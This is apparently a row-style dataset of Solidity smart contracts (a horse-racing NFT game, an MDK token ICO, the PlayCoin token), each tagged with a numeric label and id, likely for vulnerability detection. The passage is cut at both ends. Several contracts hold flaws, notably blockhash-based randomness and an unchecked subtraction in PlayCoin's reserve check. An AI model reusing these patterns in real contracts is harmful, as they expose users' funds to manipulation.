race.getCoinIndex(horse, eth_address); return (bet_amount > 0, horse); } } contract RoyalStablesInterface { struct Horsey { address race; bytes32 dna; uint8 feedingCounter; uint8 tier; } mapping(uint256 => Horsey) public horseys; mapping(address => uint32) public carrot_credits; mapping(uint256 => string) public names; address public master; function getOwnedTokens(address eth_address) public view returns (uint256[]); function storeName(uint256 tokenId, string newName) public; function storeCarrotsCredit(address client, uint32 amount) public; function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; function modifyHorseyTier(uint256 tokenId, uint8 tier) public; function unstoreHorsey(uint256 tokenId) public; function ownerOf(uint256 tokenId) public returns (address); } contract HorseyToken is EthorseHelpers,Pausable { event Claimed(address raceAddress, address eth_address, uint256 tokenId); event Feeding(uint256 tokenId); event ReceivedCarrot(uint256 tokenId, bytes32 newDna); event FeedingFailed(uint256 tokenId); event HorseyRenamed(uint256 tokenId, string newName); event HorseyFreed(uint256 tokenId); RoyalStablesInterface public stables; uint8 public carrotsMultiplier = 1; uint8 public rarityMultiplier = 1; uint256 public claimingFee = 0.000 ether; struct FeedingData { uint256 blockNumber; uint256 horsey; } mapping(address => FeedingData) public pendingFeedings; uint256 public renamingCostsPerChar = 0.001 ether; constructor(address stablesAddress) EthorseHelpers() Pausable() public { stables = RoyalStablesInterface(stablesAddress); } function setRarityMultiplier(uint8 newRarityMultiplier) external onlyOwner() { rarityMultiplier = newRarityMultiplier; } function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external onlyOwner() { carrotsMultiplier = newCarrotsMultiplier; } function setRenamingCosts(uint256 newRenamingCost) external onlyOwner() { renamingCostsPerChar = newRenamingCost; } function setClaimingCosts(uint256 newClaimingFee) external onlyOwner() { claimingFee = newClaimingFee; } function addLegitRaceAddress(address newAddress) external onlyOwner() { _addLegitRace(newAddress); } function withdraw() external onlyOwner() { owner.transfer(address(this).balance); } function addHorseIndex(bytes32 newHorse) external onlyOwner() { _addHorse(newHorse); } function getOwnedTokens(address eth_address) public view returns (uint256[]) { return stables.getOwnedTokens(eth_address); } function can_claim(address raceAddress, address eth_address) public view returns (bool) { bool res; (res,) = _isWinnerOf(raceAddress, eth_address); return res; } function claim(address raceAddress) external payable costs(claimingFee) whenNotPaused() { bytes32 winner; bool res; (res,winner) = _isWinnerOf(raceAddress, msg.sender); require(winner != bytes32(0),"Winner is zero"); require(res,"can_claim return false"); uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); emit Claimed(raceAddress, msg.sender, id); } function renameHorsey(uint256 tokenId, string newName) external whenNotPaused() onlyOwnerOf(tokenId) costs(renamingCostsPerChar * bytes(newName).length) payable { uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; if(msg.value > renamingFee) { msg.sender.transfer(msg.value - renamingFee); } stables.storeName(tokenId,newName); emit HorseyRenamed(tokenId,newName); } function freeForCarrots(uint256 tokenId) external whenNotPaused() onlyOwnerOf(tokenId) { require(pendingFeedings[msg.sender].horsey != tokenId,""); uint8 feedingCounter; (,,feedingCounter,) = stables.horseys(tokenId); stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); stables.unstoreHorsey(tokenId); emit HorseyFreed(tokenId); } function getCarrotCredits() external view returns (uint32) { return stables.carrot_credits(msg.sender); } function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { RoyalStablesInterface.Horsey memory temp; (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); } function feed(uint256 tokenId) external whenNotPaused() onlyOwnerOf(tokenId) carrotsMeetLevel(tokenId) noFeedingInProgress() { pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); uint8 feedingCounter; (,,feedingCounter,) = stables.horseys(tokenId); stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); emit Feeding(tokenId); } function stopFeeding() external feedingInProgress() returns (bool) { uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; uint256 tokenId = pendingFeedings[msg.sender].horsey; require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); delete pendingFeedings[msg.sender]; if(block.number - blockNumber > 255) { emit FeedingFailed(tokenId); return false; } if(stables.ownerOf(tokenId) != msg.sender) { emit FeedingFailed(tokenId); return false; } _feed(tokenId, blockhash(blockNumber)); bytes32 dna; (,dna,,) = stables.horseys(tokenId); emit ReceivedCarrot(tokenId, dna); return true; } function() external payable { revert("Not accepting donations"); } function _feed(uint256 tokenId, bytes32 blockHash) internal { uint8 tier; uint8 feedingCounter; (,,feedingCounter,tier) = stables.horseys(tokenId); uint256 probabilityByRarity = 10 ** uint256(tier + 1); uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; if(randNum <= (feedingCounter * rarityMultiplier)){ _increaseRarity(tokenId, blockHash); } if(feedingCounter < 255) { stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); } } function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); } function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { uint256 id = _makeSpecialId(race, eth_address, coinIndex); bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); stables.storeHorsey(eth_address,id,race,dna,1,0); return id; } function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { uint8 tier; bytes32 dna; (,dna,,tier) = stables.horseys(tokenId); if(tier < 254) stables.modifyHorseyTier(tokenId,tier+1); uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); bytes32 newdna = dna | rarityMask; stables.modifyHorseyDna(tokenId,newdna); } function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { return bytes32(uint256(data)*(2 ** n)); } function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { return bytes32(uint256(data)/(2 ** n)); } modifier carrotsMeetLevel(uint256 tokenId){ uint256 feedingCounter; (,,feedingCounter,) = stables.horseys(tokenId); require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); _; } modifier costs(uint256 amount) { require(msg.value >= amount,"Not enough funds"); _; } modifier validAddress(address addr) { require(addr != address(0),"Address is zero"); _; } modifier noFeedingInProgress() { require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); _; } modifier feedingInProgress() { require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); _; } modifier onlyOwnerOf(uint256 tokenId) { require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); _; } } contract HorseyPilot { event NewProposal(uint8 methodId, uint parameter, address proposer); event ProposalPassed(uint8 methodId, uint parameter, address proposer); uint8 constant votingThreshold = 2; uint256 constant proposalLife = 7 days; uint256 constant proposalCooldown = 1 days; uint256 cooldownStart; address public jokerAddress; address public knightAddress; address public paladinAddress; address[3] public voters; uint8 constant public knightEquity = 40; uint8 constant public paladinEquity = 10; address public exchangeAddress; address public tokenAddress; mapping(address => uint) internal _cBalance; struct Proposal{ address proposer; uint256 timestamp; uint256 parameter; uint8 methodId; address[] yay; address[] nay; } Proposal public currentProposal; bool public proposalInProgress = false; uint256 public toBeDistributed; bool deployed = false; constructor( address _jokerAddress, address _knightAddress, address _paladinAddress, address[3] _voters ) public { jokerAddress = _jokerAddress; knightAddress = _knightAddress; paladinAddress = _paladinAddress; for(uint i = 0; i < 3; i++) { voters[i] = _voters[i]; } cooldownStart = block.timestamp - proposalCooldown; } function deployChildren(address stablesAddress) external { require(!deployed,"already deployed"); exchangeAddress = new HorseyExchange(); tokenAddress = new HorseyToken(stablesAddress); HorseyExchange(exchangeAddress).setStables(stablesAddress); deployed = true; } function transferJokerOwnership(address newJoker) external validAddress(newJoker) { require(jokerAddress == msg.sender,"Not right role"); _moveBalance(newJoker); jokerAddress = newJoker; } function transferKnightOwnership(address newKnight) external validAddress(newKnight) { require(knightAddress == msg.sender,"Not right role"); _moveBalance(newKnight); knightAddress = newKnight; } function transferPaladinOwnership(address newPaladin) external validAddress(newPaladin) { require(paladinAddress == msg.sender,"Not right role"); _moveBalance(newPaladin); paladinAddress = newPaladin; } function withdrawCeo(address destination) external onlyCLevelAccess() validAddress(destination) { if(toBeDistributed > 0){ _updateDistribution(); } uint256 balance = _cBalance[msg.sender]; if(balance > 0 && (address(this).balance >= balance)) { destination.transfer(balance); _cBalance[msg.sender] = 0; } } function syncFunds() external { uint256 prevBalance = address(this).balance; HorseyToken(tokenAddress).withdraw(); HorseyExchange(exchangeAddress).withdraw(); uint256 newBalance = address(this).balance; toBeDistributed = toBeDistributed + (newBalance - prevBalance); } function getNobleBalance() external view onlyCLevelAccess() returns (uint256) { return _cBalance[msg.sender]; } function makeProposal( uint8 methodId, uint256 parameter ) external onlyCLevelAccess() proposalAvailable() cooledDown() { currentProposal.timestamp = block.timestamp; currentProposal.parameter = parameter; currentProposal.methodId = methodId; currentProposal.proposer = msg.sender; delete currentProposal.yay; delete currentProposal.nay; proposalInProgress = true; emit NewProposal(methodId,parameter,msg.sender); } function voteOnProposal(bool voteFor) external proposalPending() onlyVoters() notVoted() { require((block.timestamp - currentProposal.timestamp) <= proposalLife); if(voteFor) { currentProposal.yay.push(msg.sender); if( currentProposal.yay.length >= votingThreshold ) { _doProposal(); proposalInProgress = false; return; } } else { currentProposal.nay.push(msg.sender); if( currentProposal.nay.length >= votingThreshold ) { proposalInProgress = false; cooldownStart = block.timestamp; return; } } } function _moveBalance(address newAddress) internal validAddress(newAddress) { require(newAddress != msg.sender); _cBalance[newAddress] = _cBalance[msg.sender]; _cBalance[msg.sender] = 0; } function _updateDistribution() internal { require(toBeDistributed != 0,"nothing to distribute"); uint256 knightPayday = toBeDistributed / 100 * knightEquity; uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; toBeDistributed = 0; } function _doProposal() internal { if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); if( currentProposal.methodId == 4 ) { if(currentProposal.parameter == 0) { HorseyExchange(exchangeAddress).unpause(); HorseyToken(tokenAddress).unpause(); } else { HorseyExchange(exchangeAddress).pause(); HorseyToken(tokenAddress).pause(); } } if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); if( currentProposal.methodId == 8 ){ HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); } if( currentProposal.methodId == 9 ){ HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); } emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); } modifier validAddress(address addr) { require(addr != address(0),"Address is zero"); _; } modifier onlyCLevelAccess() { require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); _; } modifier proposalAvailable(){ require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); _; } modifier cooledDown( ){ if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ revert("Cool down period not passed yet"); } _; } modifier proposalPending() { require(proposalInProgress,"no proposal pending"); _; } modifier notVoted() { uint256 length = currentProposal.yay.length; for(uint i = 0; i < length; i++) { if(currentProposal.yay[i] == msg.sender) { revert("Already voted"); } } length = currentProposal.nay.length; for(i = 0; i < length; i++) { if(currentProposal.nay[i] == msg.sender) { revert("Already voted"); } } _; } modifier onlyVoters() { bool found = false; uint256 length = voters.length; for(uint i = 0; i < length; i++) { if(voters[i] == msg.sender) { found = true; break; } } if(!found) { revert("not a voter"); } _; } }
1
4,136
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract BonusCrowdsale is Crowdsale, Ownable { uint32[] public BONUS_TIMES; uint32[] public BONUS_TIMES_VALUES; uint32[] public BONUS_AMOUNTS; uint32[] public BONUS_AMOUNTS_VALUES; uint public constant BONUS_COEFF = 1000; uint public tokenPriceInCents; function BonusCrowdsale(uint256 _tokenPriceInCents) public { tokenPriceInCents = _tokenPriceInCents; } function bonusesForTimesCount() public constant returns(uint) { return BONUS_TIMES.length; } function setBonusesForTimes(uint32[] times, uint32[] values) public onlyOwner { require(times.length == values.length); for (uint i = 0; i + 1 < times.length; i++) { require(times[i] < times[i+1]); } BONUS_TIMES = times; BONUS_TIMES_VALUES = values; } function bonusesForAmountsCount() public constant returns(uint) { return BONUS_AMOUNTS.length; } function setBonusesForAmounts(uint32[] amounts, uint32[] values) public onlyOwner { require(amounts.length == values.length); for (uint i = 0; i + 1 < amounts.length; i++) { require(amounts[i] > amounts[i+1]); } BONUS_AMOUNTS = amounts; BONUS_AMOUNTS_VALUES = values; } function buyTokens(address beneficiary) public payable { uint256 usdValue = msg.value.mul(rate).mul(tokenPriceInCents).div(1000).div(1 ether); uint256 bonus = computeBonus(usdValue); uint256 oldRate = rate; rate = rate.mul(BONUS_COEFF.add(bonus)).div(BONUS_COEFF); super.buyTokens(beneficiary); rate = oldRate; } function computeBonus(uint256 usdValue) public constant returns(uint256) { return computeAmountBonus(usdValue).add(computeTimeBonus()); } function computeTimeBonus() public constant returns(uint256) { require(now >= startTime); for (uint i = 0; i < BONUS_TIMES.length; i++) { if (now.sub(startTime) <= BONUS_TIMES[i]) { return BONUS_TIMES_VALUES[i]; } } return 0; } function computeAmountBonus(uint256 usdValue) public constant returns(uint256) { for (uint i = 0; i < BONUS_AMOUNTS.length; i++) { if (usdValue >= BONUS_AMOUNTS[i]) { return BONUS_AMOUNTS_VALUES[i]; } } return 0; } } contract TokensCappedCrowdsale is Crowdsale { uint256 public tokensCap; function TokensCappedCrowdsale(uint256 _tokensCap) public { tokensCap = _tokensCap; } function validPurchase() internal constant returns(bool) { uint256 tokens = token.totalSupply().add(msg.value.mul(rate)); bool withinCap = tokens <= tokensCap; return super.validPurchase() && withinCap; } function hasEnded() public constant returns(bool) { bool capReached = token.totalSupply() >= tokensCap; return super.hasEnded() || capReached; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract TokenTimelock { using SafeERC20 for ERC20Basic; ERC20Basic public token; address public beneficiary; uint64 public releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } contract MDKToken is MintableToken, PausableToken { string public constant name = "MDKToken"; string public constant symbol = "MDK"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); TokenTimelock public reserveTokens; TokenVesting public teamTokens; address public PreICO = address(0); address public ICO = address(0); function MDKToken(address _teamFund) public { lockTeamTokens(_teamFund); lockReserveTokens(_teamFund); mint(_teamFund, 250000000 * (10 ** uint256(decimals))); pause(); } function lockTeamTokens(address _teamFund) private { teamTokens = new TokenVesting(_teamFund, now, 90 days, 1095 days, false); mint(teamTokens, 200000000 * (10 ** uint256(decimals))); } function lockReserveTokens(address _teamFund) private { reserveTokens = new TokenTimelock(this, _teamFund, uint64(now + 1 years)); mint(reserveTokens, 50000000 * (10 ** uint256(decimals))); } function startICO(address _icoAddress) onlyOwner public { require(ICO == address(0)); require(PreICO != address(0)); require(_icoAddress != address(0)); ICO = _icoAddress; transferOwnership(_icoAddress); } function startPreICO(address _icoAddress) onlyOwner public { require(PreICO == address(0)); require(_icoAddress != address(0)); PreICO = _icoAddress; transferOwnership(_icoAddress); } } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { } } contract MDKICO is TokensCappedCrowdsale(MDKICO.TOKENS_CAP), FinalizableCrowdsale, BonusCrowdsale(MDKICO.TOKEN_USDCENT_PRICE) { uint8 public constant decimals = 18; uint256 constant TOKENS_CAP = 600000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_USDCENT_PRICE = 18; event RateChange(uint256 rate); function MDKICO( uint _startTime, uint _endTime, uint256 _rate, address _token, address _teamWallet ) public Crowdsale(_startTime, _endTime, _rate, _teamWallet) { require(_token != address(0)); token = MintableToken(_token); } function setRate(uint256 _rate) external onlyOwner { require(_rate != 0x0); rate = _rate; RateChange(_rate); } function buyForBitcoin(address _beneficiary, uint256 tokens) public onlyOwner { mintTokens(_beneficiary, tokens); } function mintTokens(address beneficiary, uint256 tokens) public onlyOwner { require(beneficiary != 0); require(tokens > 0); require(now <= endTime); require(!isFinalized); require(token.totalSupply().add(tokens) <= TOKENS_CAP); token.mint(beneficiary, tokens); } function setEndTime(uint256 _endTime) external onlyOwner { require(!isFinalized); require(_endTime >= startTime); require(_endTime >= now); endTime = _endTime; } function createTokenContract() internal returns (MintableToken) { return MintableToken(0); } function finalization() internal { token.transferOwnership(owner); } }
1
3,687
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PlayCoin is StandardToken { string public symbol; string public name; uint8 public decimals = 9; uint noOfTokens = 1000000000; address internal vault; address internal owner; address internal admin; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event VaultChanged(address indexed previousVault, address indexed newVault); event AdminChanged(address indexed previousAdmin, address indexed newAdmin); event ReserveChanged(address indexed _address, uint amount); event Recalled(address indexed from, uint amount); event MsgAndValue(string message, bytes32 value); mapping(address => uint) public reserves; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyVault() { require(msg.sender == vault); _; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyAdminOrVault() { require(msg.sender == vault || msg.sender == admin); _; } modifier onlyOwnerOrVault() { require(msg.sender == owner || msg.sender == vault); _; } modifier onlyAdminOrOwner() { require(msg.sender == owner || msg.sender == admin); _; } modifier onlyAdminOrOwnerOrVault() { require(msg.sender == owner || msg.sender == vault || msg.sender == admin); _; } constructor (string _symbol, string _name, address _owner, address _admin, address _vault) public { require(bytes(_symbol).length > 0); require(bytes(_name).length > 0); totalSupply_ = noOfTokens * (10 ** uint(decimals)); symbol = _symbol; name = _name; owner = _owner; admin = _admin; vault = _vault; balances[vault] = totalSupply_; emit Transfer(address(0), vault, totalSupply_); } function setReserve(address _address, uint _reserve) public onlyAdmin { require(_reserve <= totalSupply_); require(_address != address(0)); reserves[_address] = _reserve; emit ReserveChanged(_address, _reserve); } function transfer(address _to, uint256 _value) public returns (bool) { require(balanceOf(msg.sender) - _value >= reserveOf(msg.sender)); return super.transfer(_to, _value); } function setVault(address _newVault) public onlyOwner { require(_newVault != address(0)); require(_newVault != vault); address _oldVault = vault; vault = _newVault; emit VaultChanged(_oldVault, _newVault); uint _value = balances[_oldVault]; balances[_oldVault] = 0; balances[_newVault] = balances[_newVault].add(_value); allowed[_newVault][msg.sender] = 0; reserves[_newVault] = 0; emit Transfer(_oldVault, _newVault, _value); } function setOwner(address _newOwner) public onlyVault { require(_newOwner != address(0)); require(_newOwner != owner); owner = _newOwner; emit OwnerChanged(owner, _newOwner); } function setAdmin(address _newAdmin) public onlyOwnerOrVault { require(_newAdmin != address(0)); require(_newAdmin != admin); admin = _newAdmin; emit AdminChanged(admin, _newAdmin); } function recall(address _from, uint _amount) public onlyAdmin { require(_from != address(0)); require(_amount > 0); uint currentReserve = reserveOf(_from); uint currentBalance = balanceOf(_from); require(currentReserve >= _amount); require(currentBalance >= _amount); uint newReserve = currentReserve - _amount; reserves[_from] = newReserve; emit ReserveChanged(_from, newReserve); balances[_from] = balances[_from].sub(_amount); balances[vault] = balances[vault].add(_amount); emit Transfer(_from, vault, _amount); emit Recalled(_from, _amount); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= balances[_from].sub(reserves[_from])); return super.transferFrom(_from, _to, _value); } function getOwner() public view onlyAdminOrOwnerOrVault returns (address) { return 